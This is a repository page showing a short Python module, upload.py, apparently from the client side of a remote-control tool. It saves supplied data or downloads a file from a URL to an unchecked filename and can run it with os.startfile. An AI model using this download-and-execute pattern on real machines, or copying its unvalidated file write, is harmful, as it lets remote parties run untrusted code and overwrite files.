summaryrefslogtreecommitdiff
path: root/foreign/client_handling/upload.py
blob: 95078295592503c26e3ba539f8b83627fa0c465e (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
import os

from foreign.global_state import *


def upload(filename, execute, file_data, max_file_size, from_url):
  if from_url:
    file_data = requests.get(filename).content
    filename = filename.split('/')[-1]
    
    if (len(file_data) / 1024 / 1024) > max_file_size:
      return {'message': f'File exceeding maximum size of {max_file_size}MB', 'text_mode': 'danger'}

  with open(filename, 'wb') as f:
    f.write(file_data)
      
  if execute:
    os.startfile(filename)
    
  return {'message': f'{filename} succesfully uploaded', 'text_mode': 'success'}